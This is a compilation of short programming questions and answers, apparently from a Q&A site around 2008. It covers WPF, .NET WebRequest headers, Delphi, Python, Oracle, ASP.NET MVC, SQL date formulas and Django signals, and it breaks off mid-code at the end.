My company is just starting to look at using WPF for migrating all of our 10 year old business applications. These applications will most of the time be running on computers that have limited/old hardware. We are now a little worried that the hardware might be too limited for using WPF.

We have installed Family.Show (http://www.vertigo.com/familyshow.aspx) on an basic older computer and that seems to run ok. But we would like know what your experiences with WPF on older hardware is? Anyone out there willing to share some experiences with us?

[A]
WPF apps will
generally
run no slower than their equivalents using other technologies. In other words, performance depends on what you're doing. If you have a basic app with some simple data entry controls and a grid or two then it'll be a lot less demanding than an app that has animated custom controls with overlaid video, etc.
You should also bear in mind that you must have at least XP SP2 to install WPF, which sets a reasonable hardware baseline anyway.
In summary you should have no problems running a WPF app on older hardware as long as you are sensible with the frills. Given WPF's templated controls it's also fairly trivial to test for a basic level of client performance at runtime (see
Graphics Rendering Tiers
) and only enable more advanced features on suitable hardware.


q:
It's great to find all those little snippets of code on the Web for your current needs, but is there anything better than getting whole application source code at once and reading it like a book?
There's no better way to learn positive and negative aspects of various architecture solutions.

That's why I was trying to find some known/big websites with its source code published, but haven't found anything more than I knew already ( http://code.reddit.com/browser )

Do you know anything more?

PS. Just being curious - have you heard about any unofficial big web site source code leak?

[A]
Wikipedia's source code (MediaWiki) can be found at
http://www.mediawiki.org/
The most relevant parts are
"phase3"
(the core code; this strange name is because it was rewritten a couple of times)
extensions
(Wikipedia uses several of them; which ones can be seen at
Special:Version
)
Additionally, here is a very detailed explanation of Wikipedia's whole architecture:
Wikipedia: Site internals, conﬁguration, code examples and management issues
.


q:
When I try to add a HTTP header key/value pair on a WebRequest object, I get the following exception:

This header must be modified using the appropriate property

I've tried adding new values to the Headers collection by using the Add() method but I still get the same exception.

webRequest.Headers.Add(HttpRequestHeader.Referer, "http://stackoverflow.com");

I can get around this by casting the WebRequest object to a HttpWebRequest and setting the properties such as httpWebReq.Referer ="http://stackoverflow.com", but this only works for a handful of headers that are exposed via properties.

I'd like to know if there's a way to get a finer grained control over modifying headers with a request for a remote resource.

[A]
WebRequest
being abstract (and since any inheriting class must override the Headers property).. which concrete WebRequest are you using ? In other words, how do you get that WebRequest object to beign with ?
ehr.. mnour answer made me realize that the error message you were getting is actually spot on: it's telling you that the header you are trying to add already exist and you should then modify its value using the appropriate property (the indexer, for instance), instead of trying to add it again. That's probably all you were looking for.
Other classes inheriting from WebRequest might have even better properties wrapping certain headers; See
this post
for instance.


q:
What is the correct way to check if a value is a date/number in Delphi?

I know other languages have functions like isDate and  isNaN, but what is the Delphi equivalent? at the minute I have this

function isNumeric(s1:string):boolean;
begin
   // will throw exception if its not a number
  // there must be a better way to do this!!
  try
     StrTofloat(s1);
       result :=  TRUE ;
     except
       result := FALSE;
      end;
end;

But throwing exceptions cant be good, and it makes debugging hard as I keep seeing the exception dialogue every time the code is called.

[A]
For integers, you could use TryStrToInt to check and convert without throwing exceptions:
```
```
function TryStrToInt(const s: string; out i : integer): boolean;
```
```
I'm not absolutely sure there is a full equivalent for floats, though, so you might need to use StrToFloat() and accept the possibility of a TFormatException.


q: Creating an XPathDocument with referenced DTD sometimes throws a web exception. Why?

[A]
See
http://todotnet.com/archive/2006/07/27/8248.aspx
Because in the construction of
  XPathDocument, there's an http GET
  command to see if it can access the
  DTD. It's not doing anything with the
  DTD. It's for just in case. So while
  XPathDocument is initially set up to
  be a faster alternative to
  XmlDocument, you'll have the
  additional overhead of an http request
  that needs to be resolved. Imagine
  that server being on the other side of
  the globe!


q:
I would like to change the "Row Source" values in an Access table through code.
This way I can filter what a user can choose in a column's combo box.

[A]
I don't know whether or not this is an option for you, but I would recommend separating the table and filtering options, setting up a form to do the data entry and modification and using code to set the Row Source for the combo box on the form. As you've already seen, while Access does provide the opportunity to treat tables as more than just tables, that is primarily for GUI purposes. Behind the scenes, Access prefers that you work with forms for data entry.
If you need to pursue the table method, you might try looking at the MS knowledge base articles referenced
here
. (The kb articles are
here
and
here
.) Keep in mind that these refer to Access 97 and may no longer be relevant. I wasn't able to find any more recent references to those properties in an Access tabledef.


q:
I'm writing an app where 3rd party vendors can write plugin DLLs and drop them into the web app's bin directory. I want the ability for these plugins to be able to register their own HttpModules if necessary.

Is there anyway that I can add or remove HttpModules from and to the pipeline at runtime without having a corresponding entry in the Web.Config, or do I have to programmatically edit the Web.Config when adding / removing modules? I know that either way is going to cause an AppDomain restart but I'd rather be able to do it in code than having to fudge the web.config to achieve the same effect.

[A]
It has to be done at just the right
  time in the HttpApplication life cycle
  which is when the HttpApplication
  object initializes (multiple times,
  once for each instance of
  HttpApplication). The only method
  where this works correct is
  HttpApplication Init().
To hook up a module via code you can
  run code like the following instead of
  the HttpModule definition in
  web.config:
```
```
public class Global : System.Web.HttpApplication
  {
     // some modules use explicit interface implementation
     // by declaring this static member as the IHttpModule interface
     // we work around that
     public static IHttpModule Module = new xrnsToashxMappingModule();
     public override void Init()
     {
         base.Init();
         Module.Init(this);
     }
  }
```
```
All you do is override the HttpApplication's Init() method and
  then access the static instance's Init
  method. Init() of the module hooks up
  the event and off you go.
Via
Rick Strahl's blog


q: In the context of unit testing, what is a "unit"?

[A]
We define 'unit' to be a single class.
As you rightly assert 'unit' is an ambiguous term and this leads to confusion when developers simply use the expression without adding detail. Where I work we have taken the time to define what we mean when we say 'unit test', 'acceptance test', etc. When someone new joins the team they learn the definitions that we have.
From a practical point of view there will likely always be differences of opinion about what a 'unit' is. I have found that what is important is simply that the term is
used consistently
within the context of a project.


q: What is the equivalent to the C# "!" operator in F#?

[A]
According to
"Foundations of F#"
, page 61:
F# uses a function called
```
not
```
for Boolean "not" operations.


q: Lets say on MySQL database (if it matters).

[A] No, as you could still use D-SQL in your stored procedures... and validating and restricting your input is a good idea in any case.


q:
I have a property called "IsSecureConnection" that is part of my object's interface.  This makes sense for most implementations of the interface, however, in some implementations I would like to make the property ReadOnly.

Should I omit this property from the object's interface even though it is required by all of the implementations (though  slightly different on occasion)?

Thanks!

[A]
Just add the getter in the interface.
```
```
public interface Foo{
  bool MyMinimallyReadOnlyPropertyThatCanAlsoBeReadWrite {get;}
}
```
```
Interfaces specify the minimum an object must implement; it doesn't say what an object cannot do.  For that, you need to look into creating base classes.


q:
Is there a Python class that wraps the file interface (read, write etc.) around a string? I mean something like the stringstream classes in C++.

I was thinking of using it to redirect the output of print into a string, like this

sys.stdout = string_wrapper()
print "foo", "bar", "baz"
s = sys.stdout.to_string() #now s == "foo bar baz"

EDIT: This is a duplicate of How do I wrap a string in a file in Python?

[A]
Yes, there is StringIO:
```
```
import StringIO
import sys

sys.stdout = StringIO.StringIO()
print "foo", "bar", "baz"
s = sys.stdout.getvalue()
```
```


q:
I am using Oracle 10g R2.
Recently, after rebooting the server, I started having a problem where I couldn't connect to the instance. I am only connecting locally on the server itself.

Oddly enough, the issue corrects itself if I start the Database Administration Assistant, and select my instance to supposedly change its settings.

Does anybody have a clue on the roots of this problem?

@akaDruid: I am testing my connection simply by trying to start SQLPlus on the server.

@Matthew: It's Windows

[A]
EDIT:  I don't think I read your question properly: The listener should not affect connections on the local machine, so you can probably ignore the rest of the answer, unless it gives you a hint!  How were you testing your connection? Was ORA-12514 the only error?
(I'm assuming you're on Windows here)
I guess the listener is not starting automatically when you reboot the server, and it's getting starting in oracle administration assistant - I don't use that tool unfortunately so couldn't say.
Next time you reboot, before starting oracle administration assistant, open a command prompt and type lsnrctl status.  If the listener has not yet started you will get something like this:
```
```
C:\Documents and Settings\user>lsnrctl status

LSNRCTL for 32-bit Windows: Version 10.2.0.1.0 - Production on 27-OCT-2008 14:00:21

Copyright (c) 1991, 2005, Oracle.  All rights reserved.

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC01)))
TNS-12541: TNS:no listener
 TNS-12560: TNS:protocol adapter error
  TNS-00511: No listener
   32-bit Windows Error: 2: No such file or directory
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=server.domain.co.uk)
(PORT=1521)))
TNS-12541: TNS:no listener
 TNS-12560: TNS:protocol adapter error
  TNS-00511: No listener
   32-bit Windows Error: 61: Unknown error

C:\Documents and Settings\user>lsnrctl status
```
```
if it is running, you will get something like this:
```
```
LSNRCTL for 32-bit Windows: Version 10.2.0.1.0 - Production on 27-OCT-2008 14:03
:33

Copyright (c) 1991, 2005, Oracle.  All rights reserved.

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC01)))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for 32-bit Windows: Version 10.2.0.1.0 - Production
Start Date                27-OCT-2008 14:03:27
Uptime                    0 days 0 hr. 0 min. 5 sec
Trace Level               off
Security                  ON: Local OS Authentication
SNMP                      OFF
Listener Parameter File   C:\oracle\product\10.2.0\db_1\network\admin\listener.ora
Listener Log File         C:\oracle\product\10.2.0\db_1\network\log\listener.log

Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\.\pipe\EXTPROC01ipc)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=server.domain.co.uk)(PORT=1521))
)
Services Summary...
Service "ORCL" has 1 instance(s).
  Instance "ORCL", status UNKNOWN, has 1 handler(s) for this service...
Service "ORCL1" has 1 instance(s).
  Instance "ORCL1", status UNKNOWN, has 1 handler(s) for this service...
Service "PLSExtProc" has 1 instance(s).
  Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
The command completed successfully

C:\Documents and Settings\user>
```
```
If the listener is not starting, check that service is set to automatic.  If it is, check the listener.ora makes sense, see what output you get from lsnrctl start, etc.
Hope that helps, or at least sends you down the right path


q:
For example for the following XML

 <Order>
  <Phone>1254</Phone>
  <City>City1</City>
  <State>State</State>
 </Order>

I might want to find out whether the XElement contains "City" Node or not.

[A]
Just use the other overload for
Elements
.
```
```
bool hasCity = OrderXml.Elements("City").Any();
```
```


q: If you have a class member that is static and public. Would you write static public or public static? I know they are the same. But is there some recommendation / best practice for writing this?

[A]
I personally would go with public static because it's more important that it's public than that it's static.
And check this:
http://checkstyle.sourceforge.net/config_modifier.html
As well as this:
http://java.sun.com/docs/books/jls/second_edition/html/classes.doc.html
(These two links are for Java, but the concept is the same)
Short version: "public static" is recommended and is far more common.


q:
I'm struggling to get around the 404 errors from asp.net mvc beta when deploying on IIS 6. I had this working in one of the previews by mapping .mvc in IIS but this no longer works. I've read Omar's post and several others on the web and tried their solutions but no luck so far.

The home page opens without a problem on IIS 6 but others 404 and the site runs well on IIS 7.

Has anybody deployed asp.net mvc beta to IIS 6 with success? If so, what adjustments did you need to make to the code and/or IIS settings to get it to work?

[A]
I found a solution to my problem from
Steve Sanderson's blog
(Thanks Steve):
Use a wildcard mapping for
```
aspnet_isapi.dll
```
. This tells IIS 6 to process all requests using ASP.NET, so routing is always invoked, and there’s no problem. It’s dead easy to set up:
open IIS manager (run -> inetmgr -> OK)
right-click your app, go to Properties
then Home Directory tab, then click Configuration.
Under Wildcard application maps, click Insert (not Add, which is
confusingly just above)
then enter
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_isapi.dll for
“Executable”, and uncheck Verify that file exists.


q:
I am at the point where I need to add keys to my app. What are some of the possible solutions you guys used? I've looked at an earlier post so far, anything else before I decide. My 2 influential factors are:

Price

Ease of use

Thanks

[A]
Aladdin
Aladdin's Software and Hardware Solution Comparison Chart
We purchase these keys and they are very easy to use with sample code generated for you from their utility.  Added to this is they are a very professional company (no I don't work for them but have used their products in 2 different companies)
The basic hardware keys themselves cost around $30per in small qty but you must purchase the "Master" set which is more expensive (at this time I can't recall the cost).


q:
I'm developing an ActiveX EXE that exposes an specific class to a third-party software.  This third-party software instanciates an object of this class and uses its methods.

Strangely, this third-party software destroys its object of my exposed class as soon as it calls an specific method, but I have no idea why this happens.

The only clue I have is that this method is the only one that returns a value.  All the other ones are simple 'subs' that do not return any value, and when they are called nothing wrong happens.

I'm using  VB6.

Do you guys have any idea of why it's happening?

[A]
Your object gets "destroyed" when the last reference to it is deleted. Thats normal COM behavior. Or is your object dying unexcepted and the third-party app is getting an activex error?
Some more questions:
I don't know what you mean with "data server"?
Do you have access to the source code of the third-party app?
Are you sure, the third-party app holds a reference to your object?
Is your objects Class_Terminate Method called?
EDIT:
OK, when Class_Terminate is getting called its obvious, that the third-party app has dropped its reference to your object.


q:
I'm looking for a way to create websites with the cool stylings of Windows Vista, like what is shown in this screenshot (taken from one of Microsoft's websites):

Any suggestions? I'd prefer an integrated designer / IDE, but libraries or templates might also help.

[A]
The "cool Vista stylings" are done using
WPF
, for which you'll need
Visual Studio 2008
. 90-day trial downloads are
here
. The "Express Products" (free, stripped-down versions) are
here
.


q:
Jeffrey Richter is looking for some input on how people are using his PowerThreading library. If anyone out there is using this, what parts of it are you using? He is looking to clean up the library and wants to know what classes people are using.

http://www.wintellect.com/PowerThreading.aspx

EDIT: See http://tech.groups.yahoo.com/group/PowerThreading/message/88

[A]
An indirect answer (I don't use that library myself) - if I was looking at complex threading, I'd be very tempted to look at what the
TPL
has to offer in the current CTP, especially looking forward to .NET 4.0.


q: I understand that they force you to implement methods and such but what I cant understand is why you would want to use them. Can anybody give me a good example or explanation on why I would want to implement this.

[A]
There are a number of reasons to do so. When you use an interface, you're ready in the future when you need to refactor/rewrite the code.  You can also provide an sort of standardized API for simple operations.
For example, if you want to write a sort algorithm like the quicksort, all you need to sort any list of objects is that you can successfuuly compare two of the objects.  If you create an interface, say ISortable, than anyone who creates objects can implement the ISortable interface and they can use your sort code.
If you're writing code that uses a database storage, and you write to an storage interface, you can replace that code down the line.
Interfaces encourage looser coupling of your code so that you can have greater flexibility.


q:
How can I launch an application using C#?

Requirements:
Must work on Windows XP and Windows Vista.

I have seen a sample from DinnerNow.net sampler that only works in Windows Vista.

[A]
```
```
System.Diagnostics.Process.Start("PathToExe.exe");
```
```


q:
I created a list of lists:

xs = [[1] * 4] * 3

# xs == [[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]

Then, I changed one of the innermost values:

xs[0][0] = 5

# xs == [[5, 1, 1, 1], [5, 1, 1, 1], [5, 1, 1, 1]]

Why did every first element of each sublist change to 5?

[A]
```
```
[[1] * 4] * 3
```
```
or even:
```
```
[[1, 1, 1, 1]] * 3
```
```
Creates a list that references the internal
```
[1,1,1,1]
```
3 times - not three copies of the inner list, so any time you modify the list (in any position), you'll see the change three times.
It's the same as this example:
```
```
>>> inner = [1,1,1,1]
>>> outer = [inner]*3
>>> outer
[[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]
>>> inner[0] = 5
>>> outer
[[5, 1, 1, 1], [5, 1, 1, 1], [5, 1, 1, 1]]
```
```
where it's probably a little less surprising.


q:
What is the difference between new/delete and malloc/free?

Related (duplicate?): In what cases do I use malloc vs new?

[A]
The  most relevant difference is that the
```
new
```
operator allocates memory then calls the constructor, and
```
delete
```
calls the destructor then deallocates the memory.


q:
I want to read line n1->n2 from file foo.c into the current buffer.

I tried: 147,227r /path/to/foo/foo.c

But I get: "E16: Invalid range", though I am certain that foo.c contains more than 1000 lines.

[A]
The {range} refers to the destination in the current file, not the range of lines in the source file.
After some experimentation, it seems
```
```
:147,227r /path/to/foo/foo.c
```
```
means
insert the contents of
```
/path/to/foo/foo.c
```
after line 227 in this file.
i.e.: it ignores the 147.


q:
Ok, I am reading in dat files into a byte array.  For some reason, the people who generate these files put about a half meg's worth of useless null bytes at the end of the file.  Anybody know a quick way to trim these off the end?

First thought was to start at the end of the array and iterate backwards until I found something other than a null, then copy everything up to that point, but I wonder if there isn't a better way.

To answer some questions:
Are you sure the 0 bytes are definitely in the file, rather than there being a bug in the file reading code? Yes, I am certain of that.

Can you definitely trim all trailing 0s? Yes.

Can there be any 0s in the rest of the file? Yes, there can be 0's other places, so, no, I can't start at the beginning and stop at the first 0.

[A]
Assuming 0=null, that is probably your best bet... as a minor tweak, you might want to use
```
Buffer.BlockCopy
```
when you finally copy the useful data..


q:
I am putting together some ideas for our automated testing platform and have been looking at Selenium for the test runner.

I am wrapping the recorded Selenium C# scripts in an MbUnit test, which is being triggered via the MbUnit NAnt task. The Selenium test client is created as follows:

selenium = new DefaultSelenium("host", 4444, "*iexplore", "http://[url]/");

How can I pass the host, port and url settings into the test so their values can be controlled via the NAnt task?

For example, I may have multiple Selenium RC servers listening and I want to use the same test code passing in each server address instead of embedding the settings within the tests themselves.

I have an approach mocked up using a custom NAnt task I have written but it is not the most elegant solution at present and I wondered if there was an easier way to accomplish what I want to do.

Many thanks if anyone can help.

[A]
Anytime I need to integrate with an external entity using NAnt I either end up using the
exec task
or writing a
custom task
. Given the information you posted it would seem that writing your own would indeed be a good solution, However you state you're not happy with it. Can you elaborate a bit on why you don't think you current solution is an
elegant
one?
Update
Not knowing
internal
details it seems like you've solved it pretty well with a custom task. From what I've heard, that's how I would have done it.
Maybe a new solution will show itself in time, but for now be light on yourself!


q:
I'd like something like a generic, re-usable getPosition() method that will tell me the number of bytes read from the starting point of the stream.  Ideally, I would prefer this to work with all InputStreams, so that I don't have to wrap each and every one of them as I get them from disparate sources.

Does such a beast exist?  If not, can anyone recommend an existing implementation of a counting InputStream?

[A]
No.
```
InputStream
```
is intended to handle potentially infinite amounts of data, so a counter would get in the way. In addition to wrapping them all, you might be able to do something with aspects.


q:
I use Struts v1.3 and have following input form:

In struts-config.xml:

    <form-bean name="testForm"
               type="org.apache.struts.validator.DynaValidatorForm">
        <form-property name="displayName" type="java.lang.String" />
    </form-bean>

In validation.xml:

    <form name="testForm">
        <field property="displayName" depends="required">
            <arg key="input.displayName" />
        </field>
    </form>

How do I trim value of "displayName"? How do I trim values of all "java.lang.String" input fields of the form?

[A]
You may have a chance to trim the string right at the moment, the request processor updates the data from the input fields to the form. This was not tested, but what happens when you modify the setter setDisplayName(String displayName) to something like
```
```
public void setDisplayName(String displayName) {
    this.displayName = displayName.trim();
}
```
```
This is not a very good solution, because it migrates logic into a setter.
regards


q:
I need a date formula in Oracle SQL or T-SQL that will return a date of the previous week (eg Last Monday's date).

I have reports with parameters that are run each week usually with parameter dates mon-friday or sunday-saturday of the previous week.  I'd like to not have to type in the dates when i run the reports each week.

The data is in Oracle and I am using SQL Server 2005 Reporting Services (SSRS) for the reports.

[A]
T-SQL:
```
```
SELECT
  DateColumn,
  DateColumn - CASE DATEPART(dw, DateColumn)
                WHEN 1 THEN 6
                ELSE DATEPART(dw, DateColumn) - 2
              END MondayOfDateColumn
FROM
  TheTable
```
```
Do you need the time part to be "00:00:00", too?
If so, add this expression to the calculation:
```
```
DATEADD(dd, 0, DATEDIFF(dd, 0, DateColumn)) - CASE DATEPART(dw, /* etc. etc. */
```
```


q:
I have a ClickOnce deployed application I want to launch from VBScript, similar to launching Microsoft Word in the following example:

Dim word
Set word = CreateObject("Word.Application")
word.Visible = True

The problem is I don't know what parameter to pass into the CreateObject function to launch my application. Where would I find the master list of applications installed on my PC/the shortcut to call to launch them?

[A]
ClickOnce simply isn't installed that way. They don't typically have COM hooks (for CreateObject), and are installed in an isolated part of the user's profile (not that machine's profile). And don't forget you can also get multiple copies/versions of the same app at once via ClickOnce (from different locations).
One option (in 3.5/VS2008) might be to use the new file associations stuff... associate your app with ".foo" files, create an empty ".foo" file and start it. That might work. Look on the Publish=>Options dialog in VS2008.
Otherwise - basically, if you want this type of usage, I suspect you will need to use msi (i.e. a regular installer; not ClickOnce) to register your app as a COM library (dll). Note that .NET doesn't make a good COM server (exe) - so doesn't compare directly to Word. If you want a .NET COM server, then "serviced components" are your best bet - but these don't tend to be big on UI.
For info, the isolated area is somewhere around "%userprofile%\Local Settings\Apps\2.0", but this is just for interest so you can see it.. don't try running it from there.


q:
I'm looking for a way to convert a preprocessor token to a string.

Specifically, I've somewhere got:

#define MAX_LEN 16

and I want to use it to prevent buffer overrun:

char val[MAX_LEN+1]; // room for \0
sscanf(buf, "%"MAX_LEN"s", val);

I'm open to other ways to accomplish the same thing, but standard library only.

[A]
I found an answer online.
```
```
#define VERSION_MAJOR 4
#define VERSION_MINOR 47

#define VERSION_STRING "v" #VERSION_MAJOR "." #VERSION_MINOR
```
```
The above does not work but hopefully
    illustrates what I would like to do,
    i.e. make VERSION_STRING end up as
    "v4.47".
To generate the proper numeric form
  use something like
```
```
#define VERSION_MAJOR 4
#define VERSION_MINOR 47

#define STRINGIZE2(s) #s
#define STRINGIZE(s) STRINGIZE2(s)
#define VERSION_STRING "v" STRINGIZE(VERSION_MAJOR) \
"." STRINGIZE(VERSION_MINOR)

#include <stdio.h>
int main() {
    printf ("%s\n", VERSION_STRING);
    return 0;
}
```
```


q:
We have a POST to a PL/SQL database procedure that (a) does some database operations based on the POST parameters and (b) redirects the user to a page showing the results.

The problem is, when the user does a browser "refresh" of the results page, that still has the original request, so it calls the database procedure and resends the parameters.

There are things we can do with saving state so bad things don't happen if the request gets sent in again. But that got me wondering.

Is there a way to tell the browser to set the url to the redirect call, not the original user request? This would probably be in either the redirect itself, or in Javascript on the target page.


q:
In a class diagram, is there a way of specifying that a class is an internal class of another class ?

Or is it considered as a pure implementation choice ?

[A]
For this kind of thing you have separate Diagrams showing the internal structure or processing of a class.
usually, those extra diagrams are activity diagrams to show processing.  Sometimes one per method.  You might also have an internal sequence diagram showing the API interactions.
No reason you can't have an additional class diagram to show internal structure of a class.


q:
as google does not deliver what i want to know, i try to ask stackoverflow :)
what is the number of max concurrent connections to a sql ce 3.5 database?
thanks
j.

[A]
I believe the information you are looking for is the SQL Server Edition Comparison.
For standard Editions -
Compare Features
For Compact Edition -
Compare Features
Edit
Sorry, this
Word Document
is most likely what you need.
Edit again
The answer is 256 concurrent connections for Compact, unlimited for express.  See table 1 in the linked word doc.


q:
Of course, there are a whole range of possible errors relating to document validity, but my immediate stumbling block occurs when changing a paragraph (p) into an address element. My current method is (more-or-less):

var p = $('p#test');
p.replaceWith('<address>' + p.html() + '</address>');

but that fails for this specific case; it works perfectly for p -> blockquote or h2 -> h3. Firebug suggests that a self-closing element (<address/>) has been added to the document, for some reason.

Can anyone spot the bug or suggest an alternative method?

[A]
You'll could use a placeholder around the title:
```
<span id="demo"><h1>Title</h1></span>
```
Then use JavaScript DOM to create new values for the innerHTML property.
```
<script type="javascript">

setTitle = function(id, tag, title) {
  var container = document.getElementById(id);
  container.innerHTML = '<' + tag + '>' + title + '</' + tag + '>';
}

setTitle('demo', 'h1', 'My Title');

</script>
```


q: It would be a shame if it doesn't, because it will make for more attractive looking Android applications.

[A]
Not right now, and it would be a nontrivial task to make it work. Android doesn't have all the libraries that the typical desktop JRE does. Although since Android is open source and it will run anything that can be compiled to Dalvik byte code, it's not impossible.
Really, I don't really think JavaFX will make for more attractive looking Android applications - the most important thing is how integrated the application is into the hardware and the Android display framework has a lot of stuff to make that easier.


q: I want to get user input in one page, store that in a php variable and use it in another php page. I have tried using 'sessions' but it doesn't seem to be working. Is there another safe alternative? This information is likely to be usernames and passwords.

[A]
I Agree with carson, sessions should work for this.  Make sure you are calling
session_start()
before anything else on any page you want to use the session variables.
Also, I would not store password info directly, rather use some kind of authentication token mechanism.  IMHO, it is not
intrinsically
unsafe to store password data in a session, but if there is no need to do so, you should probably try to avoid it.


q:
I have a string from an email header, like Date: Mon, 27 Oct 2008 08:33:29 -0700. What I need is an instance of GregorianCalendar, that will represent the same moment. As easy as that -- how do I do it?

And for the fastest ones -- this is not going to work properly:

SimpleDateFormat format = ... // whatever you want
Date date = format.parse(myString)
GregorianCalendar calendar = new GregorianCalendar();
calendar.setTime(date)

because it will normalize the timezone to UTC (or your local machine time, depending on Java version). What I need is calendar.getTimeZone().getRawOffset() to return -7 * milisInAnHour.

[A]
I'd recommend looking into the Joda Time library, if that's an option. I'm normally against using a third-party library when the core platform provides similar functionality, but I made this an exception because the author of Joda Time is also behind JSR310, and Joda Time is basically going to be rolled into Java 7 eventually.
http://joda-time.sourceforge.net/
So anyway, if Joda Time is an option, something like this
should
work:
```
```
DateTimeFormatter formatter =
    DateTimeFormat.forPattern("your pattern").withOffsetParsed();
DateTime dateTime = formatter.parseDateTime("your input");
GregorianCalendar cal = dateTime.toGregorianCalendar();
```
```
I hope this helps.


q:
I have a weird date rounding problem that hopefully someone can solve.  My client uses a work week that runs from Monday through Sunday.  Sunday's date is considered the end of the week, and is used to identify all records entered in a particular week (so anything entered last week would have a WEEKDATE value of '10/26/2008', which is Sunday's date).

One little twist is that users enter records for the previous week up until 11 AM on the Monday of the current week.

So I need a function that starts with DateTime.Now and returns the week-ending date (no time part) according to the rules above.  Thanks for your help.  I have a solution that works, but I'm too embarassed to post it.

Oh, and I can't use LINQ.

[A]
```
```
public DateTime WeekNum(DateTime now)
{
    DateTime NewNow = now.AddHours(-11).AddDays(6);

    return (NewNow.AddDays(- (int) NewNow.DayOfWeek).Date);
}

public void Code(params string[] args)
{

    Console.WriteLine(WeekNum(DateTime.Now));
    Console.WriteLine(WeekNum(new DateTime(2008,10,27, 10, 00, 00)));
    Console.WriteLine(WeekNum(new DateTime(2008,10,27, 12, 00, 00)));
    Console.WriteLine(WeekNum(new DateTime(2008,10,28)));
    Console.WriteLine(WeekNum(new DateTime(2008,10,25)));

}
```
```
You may hard-code DateTime.Now instead of passing a DateTime object.  It just made testing easier this way.


q:
Does anyone know of a simple web app that supports running ant tasks?  Alternatively it could run command line programs.  I need to allow the user to choose parameters for running the ant task.  I effectively want a web interface to run the ant task and provide any parameters.

I can write one but this is generic enough that it seems like there should already be a few standard packages that do this.

[A]
You could put this in a PHP-file:
```
```
echo shell_exec('ant');
```
```
It would run ant and return the output to the browser.


q:
I have the following rails migration:

create_table :articles do |t|
  t.integer :user_id, :allow_null => false
  t.integer :genre_id, :allow_null => false
  t.string :url, :limit => 255, :allow_null => false
  t.string :title, :limit => 60, :allow_null => false
  t.text :summary, :limit => 350, :allow_null => false
  t.integer :votes_count, :default => 0
  t.datetime :published_at, :default => nil
  t.timestamps
end

All the fields that are "NOT NULL" are validated in the model first, so I'm wondering if I need to bother having allow_null in the migration? I'm not sure what benefits "NOT NULL" gives to the database, if any.

[A]
Not much if you mean in terms of performance or storage efficiency.  However, it's just good practice to push as many of your low-level constraints into the database layer.  For one thing, it guarantees that a subtle bug in Rails isn't going to lead to some randomly
```
NULL
```
data in a not-null field.  Likewise, if you ever run another app against the same database, it will be extremely helpful to have the constraints in a central place for maintenance and to avoid duplication.


q:
Is there a good way to remove HTML from a Java string? A simple regex like

replaceAll("\\<.*?>", "")

will work, but some things like &amp; won't be converted correctly and non-HTML between the two angle brackets will be removed (i.e. the .*? in the regex will disappear).

[A]
If the user enters
```
<b>hey!</b>
```
, do you want to display
```
<b>hey!</b>
```
or
```
hey!
```
?  If the first, escape less-thans, and html-encode ampersands (and optionally quotes) and you're fine.  A modification to your code to implement the second option would be:
```
```
replaceAll("\\<[^>]*>","")
```
```
but you will run into issues if the user enters something malformed, like
```
<bhey!</b>
```
.
You can also check out
JTidy
which will parse "dirty" html input, and should give you a way to remove the tags, keeping the text.
The problem with trying to strip html is that browsers have very lenient parsers, more lenient than any library you can find will, so even if you do your best to strip all tags (using the replace method above, a DOM library, or JTidy), you will
still
need to make sure to encode any remaining HTML special characters to keep your output safe.


q:
I have tried the following two statements:

SELECT col FROM db.tbl WHERE col (LIKE 'str1' OR LIKE 'str2') AND col2 = num results in a syntax error

SELECT col FROM db.tbl WHERE page LIKE ('str1' OR 'str2') AND col2 = num results in "Truncated incorrect DOUBLE value: str1" and "Truncated incorrect DOUBLE value: str2" for what looks like every result. However, no results are actually returned.

I figured one of the two statements would work, but they aren't.

[A]
```
```
SELECT col FROM db.tbl WHERE (col LIKE 'str1' OR col LIKE 'str2') AND col2 = num
```
```


q:
I am trying to do a search in my Eclipse (Java) workspace to find all instances of static variables that are not final.

I tried various regexes but they do not result in any matches. Can someone suggest a regex that will match all lines containing static and not containing final, and not ending in a {?

The last part about not ending with a { will eliminate static methods.

An example:

public class FlagOffendingStatics {
  private static String shouldBeFlagged = "not ok";
  private static final String ok = "this is fine";
  public static void methodsAreOK() {

  }
}

[A]
Eclipse should have some sort of Java search built-in where you could specify that... Else, instead of writing one large monster regexp, try chaining together a bunch of greps:
```
grep -r static . | grep -v final
```
in the 1st statement, the -r causes the grep to recurse over a directory tree starting at the local directory, the results get piped to the 2nd grep which removes all the
```
final
```
's. Keep adding -v until everything superfluous is removed from the results. This is usually easier --albeit less elegant-- than figuring out a complicated regexp to take care of everything.


q: I have a pretty generic Article model, with m2m relation to Tag model. I want to keep count of each tag usage, i think the best way would be to denormalise count field on Tag model and update it each time Article being saved. How can i accomplish this, or maybe there's a better way?

[A]
You can do this by creating an
intermediate model
for the M2M relationship and use it as your hook for the
```
post_save
```
and
```
post_delete
```
signals to update the denormalised column in the
```
Article
```
table.
For example, I do this for favourited
```
Question
```
counts in
soclone
, where
```
User
```
s have a M2M relationship with
```
Question
```
s:
```
```
from django.contrib.auth.models import User
from django.db import connection, models, transaction
from django.db.models.signals import post_delete, post_save

class Question(models.Model):
    # ...
    favourite_count = models.PositiveIntegerField(default=0)

class FavouriteQuestion(models.Model):
    question = models.ForeignKey(Question)
    user     = models.ForeignKey(User)

def update_question_favourite_count(instance, **kwargs):
    """
    Updates the favourite count for the Question related to the given
    FavouriteQuestion.
    """
    if kwargs.get('raw', False):
        return
    cursor = connection.cursor()
    cursor.execute(
        'UPDATE soclone_question SET favourite_count = ('
            'SELECT COUNT(*) from soclone_favouritequestion '
            'WHERE soclone_favouritequestion.question_id = soclone_question.id'
        ') '
        'WHERE id = %s', [instance.question_id])
    transaction.commit_unless_managed()

post_save.connect(update_question_favourite_count, sender=FavouriteQuestion)
post_delete.connect(update_question_favourite_count, sender=FavouriteQuestion)

# Very, very naughty
User.add_to_class('favourite_questions',
